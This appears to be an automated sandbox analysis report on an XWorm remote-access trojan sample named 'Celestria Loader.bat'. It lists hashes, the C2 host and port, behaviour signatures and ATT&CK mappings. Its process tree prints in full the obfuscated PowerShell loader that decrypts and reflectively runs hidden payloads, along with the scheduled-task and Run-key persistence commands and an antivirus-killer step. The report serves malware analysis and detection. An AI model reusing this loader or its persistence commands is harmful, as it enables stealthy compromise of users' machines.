Analysis
- max time kernel
146s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20240508-en - resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system - submitted
19/06/2024, 16:55
Static task
static1
Behavioral task
behavioral1
Sample
Celestria Loader.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Celestria Loader.bat
Resource
win7-20240221-en
Behavioral task
behavioral3
Sample
Celestria Loader.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
Celestria Loader.bat
Resource
win11-20240508-en
General
- Target Celestria Loader.bat
- Size 339KB
- Sample240619-vfdvwayern
- SHA256 6f95c2ae1d09a753abc184534a2ff8989c56fcceffaf084e0cc34ea53b5ca9c8
- MD5 bdb4774bea2f0e10edb9e41e3f818522
- SHA1 9abe87258cac1bb410b4786d46059ea5b14c65eb
- SHA512 73ed8273f84de67e47426ac5eb8967d41e34b03d9376da8477bf9e1c654e199fd9d871b7de155f1422e3aa1a0ef8be386f172c8b952427822e178f1a7b3f13b1
- SSDEEP 6144:ZAMvUgzQRG0GfebuHXvs8B+E/oyrBRzY7+HJpp1z+stM9CUF6pFIJg:ZNvUA04dHX08B+E/RBREKHt1z+zx6eg
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
xworm
-
runderscore00-37568.portmap.host:37568
-
Install_directory
%ProgramData%
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral4/memory/1080-50-0x000001B36EE30000-0x000001B36EE8A000-memory.dmp family_xworm - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4848 powershell.exe 1080 powershell.exe 3884 powershell.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3880 AvKiller.exe 4004 svchost - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost" powershell.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings powershell.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 412 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3884 powershell.exe 3884 powershell.exe 4848 powershell.exe 4848 powershell.exe 1080 powershell.exe 1080 powershell.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe 3880 AvKiller.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3884 powershell.exe Token: SeDebugPrivilege 4848 powershell.exe Token: SeIncreaseQuotaPrivilege 4848 powershell.exe Token: SeSecurityPrivilege 4848 powershell.exe Token: SeTakeOwnershipPrivilege 4848 powershell.exe Token: SeLoadDriverPrivilege 4848 powershell.exe Token: SeSystemProfilePrivilege 4848 powershell.exe Token: SeSystemtimePrivilege 4848 powershell.exe Token: SeProfSingleProcessPrivilege 4848 powershell.exe Token: SeIncBasePriorityPrivilege 4848 powershell.exe Token: SeCreatePagefilePrivilege 4848 powershell.exe Token: SeBackupPrivilege 4848 powershell.exe Token: SeRestorePrivilege 4848 powershell.exe Token: SeShutdownPrivilege 4848 powershell.exe Token: SeDebugPrivilege 4848 powershell.exe Token: SeSystemEnvironmentPrivilege 4848 powershell.exe Token: SeRemoteShutdownPrivilege 4848 powershell.exe Token: SeUndockPrivilege 4848 powershell.exe Token: SeManageVolumePrivilege 4848 powershell.exe Token: 33 4848 powershell.exe Token: 34 4848 powershell.exe Token: 35 4848 powershell.exe Token: 36 4848 powershell.exe Token: SeIncreaseQuotaPrivilege 4848 powershell.exe Token: SeSecurityPrivilege 4848 powershell.exe Token: SeTakeOwnershipPrivilege 4848 powershell.exe Token: SeLoadDriverPrivilege 4848 powershell.exe Token: SeSystemProfilePrivilege 4848 powershell.exe Token: SeSystemtimePrivilege 4848 powershell.exe Token: SeProfSingleProcessPrivilege 4848 powershell.exe Token: SeIncBasePriorityPrivilege 4848 powershell.exe Token: SeCreatePagefilePrivilege 4848 powershell.exe Token: SeBackupPrivilege 4848 powershell.exe Token: SeRestorePrivilege 4848 powershell.exe Token: SeShutdownPrivilege 4848 powershell.exe Token: SeDebugPrivilege 4848 powershell.exe Token: SeSystemEnvironmentPrivilege 4848 powershell.exe Token: SeRemoteShutdownPrivilege 4848 powershell.exe Token: SeUndockPrivilege 4848 powershell.exe Token: SeManageVolumePrivilege 4848 powershell.exe Token: 33 4848 powershell.exe Token: 34 4848 powershell.exe Token: 35 4848 powershell.exe Token: 36 4848 powershell.exe Token: SeIncreaseQuotaPrivilege 4848 powershell.exe Token: SeSecurityPrivilege 4848 powershell.exe Token: SeTakeOwnershipPrivilege 4848 powershell.exe Token: SeLoadDriverPrivilege 4848 powershell.exe Token: SeSystemProfilePrivilege 4848 powershell.exe Token: SeSystemtimePrivilege 4848 powershell.exe Token: SeProfSingleProcessPrivilege 4848 powershell.exe Token: SeIncBasePriorityPrivilege 4848 powershell.exe Token: SeCreatePagefilePrivilege 4848 powershell.exe Token: SeBackupPrivilege 4848 powershell.exe Token: SeRestorePrivilege 4848 powershell.exe Token: SeShutdownPrivilege 4848 powershell.exe Token: SeDebugPrivilege 4848 powershell.exe Token: SeSystemEnvironmentPrivilege 4848 powershell.exe Token: SeRemoteShutdownPrivilege 4848 powershell.exe Token: SeUndockPrivilege 4848 powershell.exe Token: SeManageVolumePrivilege 4848 powershell.exe Token: 33 4848 powershell.exe Token: 34 4848 powershell.exe Token: 35 4848 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1080 powershell.exe - Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3716 wrote to memory of 3884 3716 cmd.exe 78 PID 3716 wrote to memory of 3884 3716 cmd.exe 78 PID 3884 wrote to memory of 4848 3884 powershell.exe 79 PID 3884 wrote to memory of 4848 3884 powershell.exe 79 PID 3884 wrote to memory of 4708 3884 powershell.exe 82 PID 3884 wrote to memory of 4708 3884 powershell.exe 82 PID 4708 wrote to memory of 4108 4708 WScript.exe 83 PID 4708 wrote to memory of 4108 4708 WScript.exe 83 PID 4108 wrote to memory of 1080 4108 cmd.exe 85 PID 4108 wrote to memory of 1080 4108 cmd.exe 85 PID 1080 wrote to memory of 3880 1080 powershell.exe 86 PID 1080 wrote to memory of 3880 1080 powershell.exe 86 PID 1080 wrote to memory of 3880 1080 powershell.exe 86 PID 1080 wrote to memory of 412 1080 powershell.exe 88 PID 1080 wrote to memory of 412 1080 powershell.exe 88 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vAf9I7v8Gv+QtwUGVAU2aNXKQtwRSRSQlnTY9lHwFJ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GDElKIvWgB3qyZr5n7DrCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SGsHz=New-Object System.IO.MemoryStream(,$param_var); $yTpkv=New-Object System.IO.MemoryStream; $HKyGq=New-Object System.IO.Compression.GZipStream($SGsHz, [IO.Compression.CompressionMode]::Decompress); $HKyGq.CopyTo($yTpkv); $HKyGq.Dispose(); $SGsHz.Dispose(); $yTpkv.Dispose(); $yTpkv.ToArray();}function execute_function($param_var,$param2_var){ $YqDjA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ROBVy=$YqDjA.EntryPoint; $ROBVy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat';$pRjeN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat').Split([Environment]::NewLine);foreach ($aOXAW in $pRjeN) { if ($aOXAW.StartsWith(':: ')) { $mDFkI=$aOXAW.Substring(3); break; }}$payloads_var=[string[]]$mDFkI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_744_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_744.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4848
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_744.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_744.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4108 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vAf9I7v8Gv+QtwUGVAU2aNXKQtwRSRSQlnTY9lHwFJ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GDElKIvWgB3qyZr5n7DrCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SGsHz=New-Object System.IO.MemoryStream(,$param_var); $yTpkv=New-Object System.IO.MemoryStream; $HKyGq=New-Object System.IO.Compression.GZipStream($SGsHz, [IO.Compression.CompressionMode]::Decompress); $HKyGq.CopyTo($yTpkv); $HKyGq.Dispose(); $SGsHz.Dispose(); $yTpkv.Dispose(); $yTpkv.ToArray();}function execute_function($param_var,$param2_var){ $YqDjA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ROBVy=$YqDjA.EntryPoint; $ROBVy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_744.bat';$pRjeN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_744.bat').Split([Environment]::NewLine);foreach ($aOXAW in $pRjeN) { if ($aOXAW.StartsWith(':: ')) { $mDFkI=$aOXAW.Substring(3); break; }}$payloads_var=[string[]]$mDFkI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Users\Admin\AppData\Local\Temp\AvKiller.exe"C:\Users\Admin\AppData\Local\Temp\AvKiller.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3880
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost"6⤵
- Scheduled Task/Job: Scheduled Task
PID:412
-
-
-
-
-
-
C:\ProgramData\svchostC:\ProgramData\svchost1⤵
- Executes dropped EXE
PID:4004
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\svchost
- Size 440KB
- SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
- MD5 0e9ccd796e251916133392539572a374
- SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
- SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
- SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
- MD5 df472dcddb36aa24247f8c8d8a517bd7
- SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
- SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 67b7e0001e15e60f1e5c92ce49644ce08500a099fd94135d179b8dfe0513567c
- MD5 4ca42e9cc6de90060a4503debda3ea58
- SHA1 652f325e5c423876d85ba1a164301ab2d147604b
- SHA512 38303f1959a2fe056c3cdba1fc775538c21b20364c25154d9f8ca365f3abf8a240b3d3851b8854ddf33a994ae0ef55b6fdaafe695eef658a2386f0c8e05b1e10
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\AvKiller.exe
- Size 38KB
- SHA256 6314ef0556c5ad131561aa7c1ab5154549ce35958bfa88f94e4db117e788fc89
- MD5 b8196e6805b67a0fde90a55657c31c7d
- SHA1 e565163f2e49449ebee550cd8d550552a0c1f126
- SHA512 074d253c6367e94b59adebd55c4a3c7555947dbbc820b708c59b668499afe307210e4cfdeaa209cce48926a581ed6c02c2811f7d2c3e4fe2f516d458685bdd1c
- SSDEEP 768:UKj4SMnVXgwKlf92fNI/fSGPdASF7uXuDgl6WydcP8CDFyz:UKj4SMnVW12S3SGeSF7uwgR84Fyz
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdehmsjp.a1e.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\startup_str_744.bat
- Size 339KB
- SHA256 6f95c2ae1d09a753abc184534a2ff8989c56fcceffaf084e0cc34ea53b5ca9c8
- MD5 bdb4774bea2f0e10edb9e41e3f818522
- SHA1 9abe87258cac1bb410b4786d46059ea5b14c65eb
- SHA512 73ed8273f84de67e47426ac5eb8967d41e34b03d9376da8477bf9e1c654e199fd9d871b7de155f1422e3aa1a0ef8be386f172c8b952427822e178f1a7b3f13b1
- SSDEEP 6144:ZAMvUgzQRG0GfebuHXvs8B+E/oyrBRzY7+HJpp1z+stM9CUF6pFIJg:ZNvUA04dHX08B+E/RBREKHt1z+zx6eg
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\startup_str_744.vbs
- Size 115B
- SHA256 74376fa8d31495aa4b28fe1032206bf2d58f19fd79ec270c50fb07cd5cd7850d
- MD5 96d8cf47f7d9bbfe651c2907c60fcc78
- SHA1 8bc78e8a3ecdf873a19a7b73db06529a94ff8e37
- SHA512 d7e85fd27e49d06a0a908ea8fdf730e977cbce3e26f1eb7647fbb9da60922b1b846a7c64e07539fcc74745b63d5a444d52e9691bec906cc958188775a0b2375a
- MD5 SHA1 SHA512